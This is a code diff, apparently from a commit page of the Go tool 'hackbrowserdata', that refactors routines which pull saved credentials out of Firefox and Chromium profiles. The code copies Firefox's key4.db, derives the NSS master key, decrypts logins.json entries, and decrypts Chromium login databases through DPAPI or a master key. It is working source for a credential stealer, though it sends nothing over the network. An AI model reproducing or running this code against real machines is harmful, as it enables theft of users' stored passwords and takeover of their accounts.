// import sqlite3 driver // import sqlite3 driver
_ "github.com/mattn/go-sqlite3" _ "github.com/mattn/go-sqlite3"
"github.com/moond4rk/hackbrowserdata/browserdata"
"github.com/moond4rk/hackbrowserdata/crypto" "github.com/moond4rk/hackbrowserdata/crypto"
"github.com/moond4rk/hackbrowserdata/utils/fileutil" "github.com/moond4rk/hackbrowserdata/utils/fileutil"
) )
@ -24,23 +26,49 @@ type firefox struct {
profilePathKeys map[string][]byte profilePathKeys map[string][]byte
disableFindAllUser bool disableFindAllUser bool
firefoxPassword []byte firefoxPassword []byte
supportedData []browserDataType supportedData []DataType
supportedDataMap map[browserDataType]struct{} supportedDataMap map[DataType]struct{}
}
func NewFirefox(options *Options) (Browser, error) {
return nil, nil
} }
func (f *firefox) Init() error { func (f *firefox) Init() error {
if err := f.initBrowserData(); err != nil { if err := f.initBrowserData(); err != nil {
return err return err
} }
if err := f.initProfile(); err != nil { if err := f.initProfiles(); err != nil {
return fmt.Errorf("profile path '%s' does not exist %w", f.profilePath, ErrBrowserNotExists) return fmt.Errorf("profile path '%s' does not exist %w", f.profilePath, ErrBrowserNotExists)
} }
return f.initMasterKey() return f.initMasterKey()
} }
func (f *firefox) Passwords() ([]browserdata.Password, error) {
if _, ok := f.supportedDataMap[TypePassword]; !ok {
// TODO: Error handle more gracefully
return nil, errors.New("password for c.name is not supported")
}
var fullPass []browserdata.Password
for profile, masterKey := range f.profilePathKeys {
passFile := filepath.Join(profile, TypePassword.Filename(f.name))
if !fileutil.IsFileExists(passFile) {
return nil, errors.New("password file does not exist")
}
passwords, err := browserdata.ExportPasswords(masterKey, passFile)
if err != nil {
return nil, err
}
if len(passwords) > 0 {
fullPass = append(fullPass, passwords...)
}
}
return fullPass, nil
}
func (f *firefox) initBrowserData() error { func (f *firefox) initBrowserData() error {
if f.supportedDataMap == nil { if f.supportedDataMap == nil {
f.supportedDataMap = make(map[browserDataType]struct{}) f.supportedDataMap = make(map[DataType]struct{})
} }
for _, v := range f.supportedData { for _, v := range f.supportedData {
f.supportedDataMap[v] = struct{}{} f.supportedDataMap[v] = struct{}{}
@ -48,7 +76,7 @@ func (f *firefox) initBrowserData() error {
return nil return nil
} }
func (f *firefox) initProfile() error { func (f *firefox) initProfiles() error {
if !fileutil.IsDirExists(f.profilePath) { if !fileutil.IsDirExists(f.profilePath) {
return ErrBrowserNotExists return ErrBrowserNotExists
} }
@ -102,15 +130,18 @@ func (f *firefox) initMasterKey() error {
} }
func (f *firefox) findMasterKey(profile string) ([]byte, error) { func (f *firefox) findMasterKey(profile string) ([]byte, error) {
keyPath := filepath.Join(profile, "key4.db") keyFile := "key4.db"
keyPath := filepath.Join(profile, keyFile)
if !fileutil.IsFileExists(keyPath) { if !fileutil.IsFileExists(keyPath) {
// TODO: handle error with more details
return nil, ErrBrowserNotExists return nil, ErrBrowserNotExists
} }
if err := fileutil.CopyFile(keyPath, "key4-copy.db"); err != nil { tempFile := filepath.Join(os.TempDir(), keyFile)
if err := fileutil.CopyFile(keyPath, tempFile); err != nil {
return nil, err return nil, err
} }
defer os.Remove("key4-copy.db") defer os.Remove(tempFile)
globalSalt, metaBytes, nssA11, nssA102, err := getFirefoxDecryptKey("key4-copy.db") globalSalt, metaBytes, nssA11, nssA102, err := getFirefoxDecryptKey(tempFile)
if err != nil { if err != nil {
return nil, err return nil, err
} }
@ -123,9 +154,10 @@ func (f *firefox) findMasterKey(profile string) ([]byte, error) {
if err != nil { if err != nil {
return nil, err return nil, err
} }
if bytes.Contains(k, []byte("password-check")) {
keyLin := []byte{248, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1} keyLin := []byte{248, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1}
if bytes.Equal(nssA102, keyLin) { if !bytes.Equal(k, []byte("password-check")) || !bytes.Equal(nssA102, keyLin) {
return nil, fmt.Errorf("invalid master key")
}
nssPBE, err := crypto.NewASN1PBE(nssA11) nssPBE, err := crypto.NewASN1PBE(nssA11)
if err != nil { if err != nil {
return nil, err return nil, err
@ -136,14 +168,6 @@ func (f *firefox) findMasterKey(profile string) ([]byte, error) {
} }
return masterKey, nil return masterKey, nil
} }
}
return nil, nil
}
const (
queryMetaData = `SELECT item1, item2 FROM metaData WHERE id = 'password'`
queryNssPrivate = `SELECT a11, a102 from nssPrivate`
)
func getFirefoxDecryptKey(key4file string) (item1, item2, a11, a102 []byte, err error) { func getFirefoxDecryptKey(key4file string) (item1, item2, a11, a102 []byte, err error) {
db, err := sql.Open("sqlite3", key4file) db, err := sql.Open("sqlite3", key4file)
@ -151,7 +175,10 @@ func getFirefoxDecryptKey(key4file string) (item1, item2, a11, a102 []byte, err
return nil, nil, nil, nil, err return nil, nil, nil, nil, err
} }
defer db.Close() defer db.Close()
var (
queryMetaData = `SELECT item1, item2 FROM metaData WHERE id = 'password'`
queryNssPrivate = `SELECT a11, a102 from nssPrivate`
)
if err = db.QueryRow(queryMetaData).Scan(&item1, &item2); err != nil { if err = db.QueryRow(queryMetaData).Scan(&item1, &item2); err != nil {
return nil, nil, nil, nil, fmt.Errorf("query metaData failed: %w, query: %s", err, queryMetaData) return nil, nil, nil, nil, fmt.Errorf("query metaData failed: %w, query: %s", err, queryMetaData)
} }

@ -1,18 +1,17 @@
package hackbrowserdata package hackbrowserdata
import ( import (
"fmt"
"testing" "testing"
) )
func TestFirefox_Init(t *testing.T) { func TestFirefox_Init(t *testing.T) {
firefox := browsers[Firefox] // firefox := browsers[Firefox]
if err := firefox.Init(); err != nil { // if err := firefox.Init(); err != nil {
t.Fatal(err) // t.Fatal(err)
} // }
passwords, err := firefox.Passwords() // passwords, err := firefox.Passwords()
if err != nil { // if err != nil {
t.Fatal(err) // t.Fatal(err)
} // }
fmt.Println(passwords) // fmt.Println(passwords)
} }

@ -1,33 +1,36 @@
package hackbrowserdata package hackbrowserdata
import ( type Options struct {
"path/filepath" Name browser
) Storage string
ProfilePath string
type BrowserOption func(browserOptionsSetter) IsEnableAllUser bool
DataTypes []DataType
type browserOptionsSetter interface { NewBrowserFunc func(*Options) (Browser, error)
setProfilePath(string) }
setDisableAllUsers(bool) type BrowserOption func(*Options)
setStorageName(string) func WithBrowserName(p string) BrowserOption {
return func(o *Options) {
o.Name = browser(p)
}
} }
func WithProfilePath(p string) BrowserOption { func WithProfilePath(p string) BrowserOption {
return func(b browserOptionsSetter) { return func(o *Options) {
b.setProfilePath(filepath.Clean(p)) o.ProfilePath = p
} }
} }
func WithDisableAllUsers(e bool) BrowserOption { func WithEnableAllUsers(e bool) BrowserOption {
return func(b browserOptionsSetter) { return func(o *Options) {
b.setDisableAllUsers(e) o.IsEnableAllUser = e
} }
} }
func WithStorageName(s string) BrowserOption { func WithStorageName(s string) BrowserOption {
return func(b browserOptionsSetter) { return func(o *Options) {
b.setStorageName(s) o.Storage = s
} }
} }

@ -1,185 +0,0 @@
package hackbrowserdata
import (
"database/sql"
"encoding/base64"
"errors"
"fmt"
"os"
"path/filepath"
"time"
// import sqlite3 driver
_ "github.com/mattn/go-sqlite3"
"github.com/tidwall/gjson"
"github.com/moond4rk/hackbrowserdata/crypto"
"github.com/moond4rk/hackbrowserdata/item"
"github.com/moond4rk/hackbrowserdata/log"
"github.com/moond4rk/hackbrowserdata/utils/fileutil"
"github.com/moond4rk/hackbrowserdata/utils/typeutil"
)
type Password struct {
Profile string
Username string
Password string
encryptPass []byte
encryptUser []byte
LoginURL string
CreateDate time.Time
}
func (c *chromium) Passwords() ([]Password, error) {
if _, ok := c.supportedDataMap[TypePassword]; !ok {
// TODO: Error handle more gracefully
return nil, errors.New("password for c.name is not supported")
}
var fullPass []Password
for _, profile := range c.profilePaths {
passFile := filepath.Join(profile, TypePassword.Filename(c.name))
if !fileutil.IsFileExists(passFile) {
return nil, errors.New("password file does not exist")
}
if err := fileutil.CopyFile(passFile, item.TempChromiumPassword); err != nil {
return nil, err
}
passwords, err := c.exportPasswords(profile, item.TempChromiumPassword)
if err != nil {
return nil, err
}
if len(passwords) > 0 {
fullPass = append(fullPass, passwords...)
}
}
return fullPass, nil
}
func (c *chromium) exportPasswords(profile, dbfile string) ([]Password, error) {
db, err := sql.Open("sqlite3", dbfile)
if err != nil {
return nil, err
}
defer db.Close()
rows, err := db.Query(queryChromiumLogin)
if err != nil {
return nil, err
}
var passwords []Password
for rows.Next() {
var (
url, username string
encryptPass, password []byte
create int64
)
if err := rows.Scan(&url, &username, &encryptPass, &create); err != nil {
log.Warn(err)
}
pass := Password{
Profile: filepath.Base(profile),
Username: username,
encryptPass: encryptPass,
LoginURL: url,
}
if len(encryptPass) > 0 {
if len(c.masterKey) == 0 {
password, err = crypto.DPAPI(encryptPass)
} else {
password, err = crypto.DecryptPass(c.masterKey, encryptPass)
}
if err != nil {
log.Error(err)
}
}
if create > time.Now().Unix() {
pass.CreateDate = typeutil.TimeEpoch(create)
} else {
pass.CreateDate = typeutil.TimeStamp(create)
}
pass.Password = string(password)
passwords = append(passwords, pass)
}
return passwords, nil
}
const (
queryChromiumLogin = `SELECT origin_url, username_value, password_value, date_created FROM logins`
)
func (f *firefox) Passwords() ([]Password, error) {
if _, ok := f.supportedDataMap[TypePassword]; !ok {
// TODO: Error handle more gracefully
return nil, errors.New("password for c.name is not supported")
}
var fullPass []Password
for profile, masterKey := range f.profilePathKeys {
passFile := filepath.Join(profile, TypePassword.Filename(f.name))
if !fileutil.IsFileExists(passFile) {
fmt.Println(passFile)
return nil, errors.New("password file does not exist")
}
if err := fileutil.CopyFile(passFile, item.TempFirefoxPassword); err != nil {
return nil, err
}
passwords, err := f.exportPasswords(masterKey, item.TempFirefoxPassword)
if err != nil {
return nil, err
}
if len(passwords) > 0 {
fullPass = append(fullPass, passwords...)
}
}
return fullPass, nil
}
func (f *firefox) exportPasswords(masterKey []byte, loginFile string) ([]Password, error) {
s, err := os.ReadFile(loginFile)
if err != nil {
return nil, err
}
defer os.Remove(loginFile)
loginsJSON := gjson.GetBytes(s, "logins")
var passwords []Password
if loginsJSON.Exists() {
for _, v := range loginsJSON.Array() {
var (
p Password
encryptUser []byte
encryptPass []byte
)
p.LoginURL = v.Get("formSubmitURL").String()
encryptUser, err = base64.StdEncoding.DecodeString(v.Get("encryptedUsername").String())
if err != nil {
return nil, err
}
encryptPass, err = base64.StdEncoding.DecodeString(v.Get("encryptedPassword").String())
if err != nil {
return nil, err
}
p.encryptUser = encryptUser
p.encryptPass = encryptPass
// TODO: handle error
userPBE, err := crypto.NewASN1PBE(p.encryptUser)
if err != nil {
return nil, err
}
pwdPBE, err := crypto.NewASN1PBE(p.encryptPass)
if err != nil {
return nil, err
}
username, err := userPBE.Decrypt(masterKey)
if err != nil {
return nil, err
}
password, err := pwdPBE.Decrypt(masterKey)
if err != nil {
return nil, err
}
p.Password = string(password)
p.Username = string(username)
p.CreateDate = typeutil.TimeStamp(v.Get("timeCreated").Int() / 1000)
passwords = append(passwords, p)
}
}
return passwords, nil
}
Loading…
Cancel
Save